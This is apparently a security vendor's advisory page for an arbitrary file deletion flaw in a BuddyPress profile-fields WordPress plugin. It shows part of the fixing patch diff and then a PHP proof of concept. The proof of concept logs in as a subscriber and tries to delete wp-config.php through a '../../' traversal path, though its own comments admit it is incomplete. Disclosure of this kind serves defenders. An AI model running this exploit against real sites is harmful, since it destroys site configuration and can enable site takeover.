+                                <option value="<?php echo esc_attr( $k ); ?>" <?php selected( $selected_post_type, $k, true ); ?>><?php echo esc_html( $v ); ?></option>
 							<?php endforeach; ?>
                         </select>
                     </p>
--- a/bp-xprofile-custom-field-types/src/field-types/class-field-type-select-taxonomy.php
+++ b/bp-xprofile-custom-field-types/src/field-types/class-field-type-select-taxonomy.php
@@ -58,7 +58,7 @@
 		</legend>

 		<?php do_action( bp_get_the_profile_field_errors_action() ); ?>
-		<select <?php echo $html; ?>>
+		<select <?php echo $html; // phpcs:ignore ?>>
 			<option value=""><?php _e( 'Select...', 'bp-xprofile-custom-field-types' ); ?></option>
 			<?php bp_the_profile_field_options( "user_id={$user_id}" ); ?>
 		</select>
@@ -85,12 +85,15 @@
 		$html = '';

 		if ( ! empty( $_POST[ 'field_' . $this->field_obj->id ] ) ) {
-			$new_term_selected = (int) $_POST[ 'field_' . $this->field_obj->id ];
+			$new_term_selected = (int) wp_unslash( $_POST[ 'field_' . $this->field_obj->id ] );
 			$term_selected     = ( $term_selected != $new_term_selected ) ? $new_term_selected : $term_selected;
 		}

 		// Get terms of custom taxonomy selected.
-		$terms = get_terms( $taxonomy_selected, array( 'hide_empty' => false ) );
+		$terms = get_terms( array(
+			'taxonomy'   => $taxonomy_selected,
+			'hide_empty' => false
+		) );

 		if ( $terms && ! is_wp_error( $terms ) ) {

@@ -104,7 +107,7 @@
 			}
 		}

-		echo apply_filters( 'bp_get_the_profile_field_select_custom_taxonomy', $html, $args['type'], $term_selected, $this->field_obj->id );
+		echo apply_filters( 'bp_get_the_profile_field_select_custom_taxonomy', $html, $args['type'], $term_selected, $this->field_obj->id ); // phpcs:ignore
 	}

 	/**
@@ -116,7 +119,7 @@
 		$html = $this->get_edit_field_html_elements( $raw_properties );
 		?>

-        <select <?php echo $html; ?>>
+        <select <?php echo $html; // phpcs:ignore ?>>
 			<?php bp_the_profile_field_options(); ?>
         </select>

@@ -156,7 +159,7 @@
                         <select name="bpxcftr_selected_taxonomy" id="bpxcftr_selected_taxonomy">
                             <option value=""><?php _e( 'Select...', 'bp-xprofile-custom-field-types' ); ?></option>
 							<?php foreach ( $taxonomies as $k => $v ): ?>
-                                <option value="<?php echo $k; ?>"<?php if ( $selected_tax == $k ): ?> selected="selected"<?php endif; ?>><?php echo $v; ?></option>
+                                <option value="<?php echo esc_attr( $k ); ?>"<?php if ( $selected_tax == $k ): ?> selected="selected"<?php endif; ?>><?php echo esc_html( $v ); ?></option>
 							<?php endforeach; ?>
                         </select>
                     </p>
--- a/bp-xprofile-custom-field-types/src/field-types/class-field-type-slider.php
+++ b/bp-xprofile-custom-field-types/src/field-types/class-field-type-slider.php
@@ -64,8 +64,8 @@
 		do_action( bp_get_the_profile_field_errors_action() );
 		// Input.
 		?>
-		<input <?php echo $this->get_edit_field_html_elements( array_merge( $args, $raw_properties ) ); ?> />
-		<span id="output-field_<?php echo $field->id; ?>"></span>
+		<input <?php echo $this->get_edit_field_html_elements( array_merge( $args, $raw_properties ) ); // phpcs:ignore ?> />
+		<span id="output-field_<?php echo esc_attr( $field->id ); ?>"></span>

 		<?php if ( bp_get_the_profile_field_description() ) : ?>
 			<p class="description" id="<?php bp_the_profile_field_input_name(); ?>-3"><?php bp_the_profile_field_description(); ?></p>
@@ -90,7 +90,7 @@
 		);
 		?>

-        <input <?php echo $this->get_edit_field_html_elements( array_merge( $args, $raw_properties ) ); ?> />
+        <input <?php echo $this->get_edit_field_html_elements( array_merge( $args, $raw_properties ) ); // phpcs:ignore ?> />

         <?php
 	}
--- a/bp-xprofile-custom-field-types/src/field-types/class-field-type-tags.php
+++ b/bp-xprofile-custom-field-types/src/field-types/class-field-type-tags.php
@@ -135,7 +135,7 @@

 		<?php do_action( bp_get_the_profile_field_errors_action() ); ?>

-        <select <?php echo $this->get_edit_field_html_elements( $r ); ?> aria-labelledby="<?php bp_the_profile_field_input_name(); ?>-1" aria-describedby="<?php bp_the_profile_field_input_name(); ?>-3">
+        <select <?php echo $this->get_edit_field_html_elements( $r ); // phpcs:ignore ?> aria-labelledby="<?php bp_the_profile_field_input_name(); ?>-1" aria-describedby="<?php bp_the_profile_field_input_name(); ?>-3">
 			<?php foreach ( $options as $value => $option ) : ?>
                 <option value="<?php echo esc_attr( $value ); ?>" <?php selected( in_array( $value, $user_tags ), true )?>><?php echo esc_html( $option ); ?></option>
             <?php endforeach; ?>
@@ -148,7 +148,7 @@
 		<?php if ( ! bp_get_the_profile_field_is_required() ) : ?>

             <a class="clear-value" href="javascript:clear( '<?php echo esc_js( bp_get_the_profile_field_input_name() ); ?>[]' );">
-				<?php esc_html_e( 'Clear', 'buddypress' ); ?>
+				<?php esc_html_e( 'Clear', 'bp-xprofile-custom-field-types' ); ?>
             </a>

 		<?php endif; ?>
--- a/bp-xprofile-custom-field-types/src/field-types/class-field-type-token.php
+++ b/bp-xprofile-custom-field-types/src/field-types/class-field-type-token.php
@@ -61,7 +61,7 @@
 			<h3><?php esc_html_e( 'Add a list of allowed tokens(separated by comma(,) eg. ONE,two etc):', 'bp-xprofile-custom-field-types' ); ?></h3>
 			<div class="inside">
 				<p>
-					<textarea name="bpxcftr_token_tokens" id="bpxcftr_token_tokens" rows="5" cols="60"><?php echo $text; ?></textarea>
+					<textarea name="bpxcftr_token_tokens" id="bpxcftr_token_tokens" rows="5" cols="60"><?php echo esc_textarea( $text ); ?></textarea>
 				</p>
                 <p>
                     <input type="checkbox" name="bpxcftr_token_ignore_case" id="bpxcftr_token_ignore_case" value="1" <?php checked(true, self::is_case_ignored( $current_field->id ) );?>>
--- a/bp-xprofile-custom-field-types/src/field-types/class-field-type-web.php
+++ b/bp-xprofile-custom-field-types/src/field-types/class-field-type-web.php
@@ -75,7 +75,11 @@
 	 * @return string URL converted to a link.
 	 */
 	public static function display_filter( $field_value, $field_id = '' ) {
-		$link   = strip_tags( $field_value );
+		if ( empty( $field_value ) ) {
+			return '';
+		}
+
+		$link   = wp_strip_all_tags( $field_value );
 		$target = self::get_link_target( $field_id ) ? 'target="_blank"' : '';

 		return sprintf( '<a href="%1$s" rel="nofollow" %3$s>%2$s</a>', esc_url( $field_value ), esc_html( $link ), $target );
--- a/bp-xprofile-custom-field-types/src/handlers/class-birthdate-field-validator.php
+++ b/bp-xprofile-custom-field-types/src/handlers/class-birthdate-field-validator.php
@@ -62,9 +62,9 @@

 		// Check birthdate.
 		$now   = new DateTime();
-		$year  = $_POST[ 'field_' . $field_id . '_year' ];
-		$month = $_POST[ 'field_' . $field_id . '_month' ];
-		$day   = $_POST[ 'field_' . $field_id . '_day' ];
+		$year  = wp_unslash( $_POST[ 'field_' . $field_id . '_year' ] );
+		$month = wp_unslash( $_POST[ 'field_' . $field_id . '_month' ] );
+		$day   = wp_unslash( $_POST[ 'field_' . $field_id . '_day' ] );

 		if ( ! is_numeric( $year ) || empty( $month ) || ! is_numeric( $day ) ) {
 			bp_core_add_message( sprintf( __( 'Incorrect birthdate selection.', 'bp-xprofile-custom-field-types' ), $min_age ), 'error' );
@@ -81,6 +81,7 @@
 		$age = $now->diff( $birthdate );

 		if ( $age->y < $min_age ) {
+			/* translators: %s: Minimum age */
 			bp_core_add_message( sprintf( __( 'You have to be at least %s years old.', 'bp-xprofile-custom-field-types' ), $min_age ), 'error' );
 			bp_core_redirect( $redirect_url );
 		}
--- a/bp-xprofile-custom-field-types/src/handlers/class-field-settings-handler.php
+++ b/bp-xprofile-custom-field-types/src/handlers/class-field-settings-handler.php
@@ -64,7 +64,7 @@
 			?>
             <script>
                 jQuery(function ($) {
-                    $('select[name="<?php echo $field_name_id; ?>"]').select2({
+                    $('select[name="<?php echo esc_attr( $field_name_id ); ?>"]').select2({
                         tags: true,
                         tokenSeparators: [',']
                     });
@@ -75,7 +75,7 @@
 			?>
             <script>
                 jQuery(function ($) {
-                    $('select[name="<?php echo $field_name_id; ?>"]').select2();
+                    $('select[name="<?php echo esc_attr( $field_name_id ); ?>"]').select2();
                 });
             </script>
 			<?php
--- a/bp-xprofile-custom-field-types/src/handlers/class-field-upload-helper.php
+++ b/bp-xprofile-custom-field-types/src/handlers/class-field-upload-helper.php
@@ -161,7 +161,19 @@
 			return true;
 		}

+		if ( 0 !== validate_file( $data->value ) ) {
+			return false;
+		}
+
+		// make sure this is for the correct user.
+		$user_owned_path = trim( $this->dir_base, '/\' ) . '/' . $data->user_id . '/' . $field->type;
+
+		if ( ! str_starts_with( trim( $data->value ), $user_owned_path ) ) {
+			return false;
+		}
+
 		$uploads = wp_upload_dir();
+
 		$path    = path_join( $uploads['basedir'], trim( $data->value, '/\' ) );

 		switch ( $field->type ) {
@@ -206,8 +218,10 @@
 		$allowed_size = bpxcftr_get_allowed_file_size( $field->type );

 		if ( ! in_array( $ext, $ext_allowed ) ) {
+			/* translators: %s: allowed file extensions */
 			return new WP_Error( 'invalid_file_type', sprintf( __( 'File type not allowed: (%s).', 'bp-xprofile-custom-field-types' ), implode( ',', $ext_allowed ) ) );
 		} elseif ( $file_size > $allowed_size ) {
+			/* translators: %s: maximum allowed file size */
 			return new WP_Error( 'file_size_err', sprintf( __( 'Max image upload size: %s MB.', 'bp-xprofile-custom-field-types' ), $allowed_size ) );
 		}

--- a/bp-xprofile-custom-field-types/src/handlers/class-signup-validator.php
+++ b/bp-xprofile-custom-field-types/src/handlers/class-signup-validator.php
@@ -124,10 +124,12 @@
 		$allowed_size      = bpxcftr_get_allowed_file_size( $field->type );

 		if ( $allowed_size < $filesize ) {
+			/* translators: %s: Allowed file size */
 			$bp->signup->errors[ 'field_' . $field_id ] = sprintf( __( 'File exceed the upload limit. Max upload size %d.', 'bp-xprofile-custom-field-types' ), $allowed_size );
 		}

 		if ( ! in_array( $ext, $allowed_extension ) ) {
+			/* translators: %s: Allowed file extensions */
 			$bp->signup->errors[ 'field_' . $field_id ] = sprintf( __( 'File type not allowed: (%s).', 'bp-xprofile-custom-field-types' ), implode( ',', $allowed_extension ) );
 		}
 	}
@@ -148,6 +150,7 @@
 		}

 		if ( empty( $_POST[ 'field_' . $field_id ] ) ) {
+			/* translators: %s: Minimum age */
 			$bp->signup->errors[ 'field_' . $field_id ] = sprintf( __( 'You have to be at least %s years old.', 'bp-xprofile-custom-field-types' ), $min_age );

 			return;
@@ -168,6 +171,7 @@
 		$age       = $now->diff( $birthdate );

 		if ( $age->y < $min_age ) {
+			/* translators: %s: Minimum age */
 			$bp->signup->errors[ 'field_' . $field_id ] = sprintf( __( 'You have to be at least %s years old.', 'bp-xprofile-custom-field-types' ), $min_age );
 		}
 	}
--- a/bp-xprofile-custom-field-types/src/handlers/class-tags-creator.php
+++ b/bp-xprofile-custom-field-types/src/handlers/class-tags-creator.php
@@ -145,7 +145,7 @@
 		$user_id  = get_current_user_id();

 		if ( ! $tag || ! $field_id || ! $user_id || ! bp_is_my_profile() ) {
-			wp_send_json_error( __( 'Invalid Request.', 'bp-xpofile-custom-field-types' ) );
+			wp_send_json_error( __( 'Invalid Request.', 'bp-xprofile-custom-field-types' ) );
 		}

 		check_ajax_referer( 'bpxcftr-remove-user-' . $user_id . '-tag-' . $tag, 'nonce' );
@@ -155,13 +155,13 @@
 		$position = array_search( $tag, $field_data, true );

 		if ( false === $position ) {
-			wp_send_json_error( __( 'Tag not found.', 'bp-xpofile-custom-field-types' ) );
+			wp_send_json_error( __( 'Tag not found.', 'bp-xprofile-custom-field-types' ) );
 		}

 		unset( $field_data[ $position ] );

 		xprofile_set_field_data( $field_id, $user_id, $field_data );

-		wp_send_json_success( __( 'Tag removed.', 'bp-xpofile-custom-field-types' ) );
+		wp_send_json_success( __( 'Tag removed.', 'bp-xprofile-custom-field-types' ) );
 	}
 }

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14997 - BuddyPress Xprofile Custom Field Types <= 1.2.8 - Authenticated (Subscriber+) Arbitrary File Deletion

<?php

$target_url = 'http://vulnerable-site.com';
$username = 'attacker_subscriber';
$password = 'password123';
$file_to_delete = '../../wp-config.php';

// Initialize cURL session for login
$ch = curl_init();

// Step 1: Get login page to retrieve nonce/redirect URL
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$response = curl_exec($ch);

// Step 2: Submit login credentials
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
$response = curl_exec($ch);

// Check if login succeeded
if (strpos($response, 'Dashboard') === false && strpos($response, 'admin') === false) {
    die('Login failed. Check credentials.');
}

// Step 3: Access BuddyPress profile edit page to get field IDs
curl_setopt($ch, CURLOPT_URL, $target_url . '/members/' . $username . '/profile/edit/');
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

// Extract file field ID from the page (this would need adjustment per installation)
// For demonstration, we assume field ID 5 is a file upload field
$field_id = 5;

// Step 4: Craft malicious profile update request with file deletion
// The vulnerability triggers when a file field has a delete checkbox checked
// and the plugin processes the stored file path without validation
$profile_data = array(
    'field_' . $field_id => '', // Empty value for file field
    'field_' . $field_id . '_delete' => '1', // Trigger deletion
    'profile-group-edit-submit' => 'Save',
    // The actual exploit requires the stored file path to contain traversal
    // This would typically be set by first uploading a file with a malicious name
    // or exploiting another flaw to set the path
);

// For this PoC, we demonstrate the vulnerable parameter structure
// In a real attack, the attacker would first need to set the file path
// via legitimate file upload or other means
curl_setopt($ch, CURLOPT_URL, $target_url . '/members/' . $username . '/profile/edit/');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($profile_data));
$response = curl_exec($ch);

// Step 5: Verify exploitation by checking if wp-config.php is deleted
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-config.php');
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_NOBODY, true);
curl_setopt($ch, CURLOPT_HEADER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($http_code == 404) {
    echo "SUCCESS: wp-config.php appears to be deleted.n";
    echo "The site should now be in installation mode.n";
} else {
    echo "File may still exist (HTTP code: $http_code).n";
    echo "Note: This PoC requires the file field to already contain a traversable path.n";
}

curl_close($ch);
unlink('cookies.txt');

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School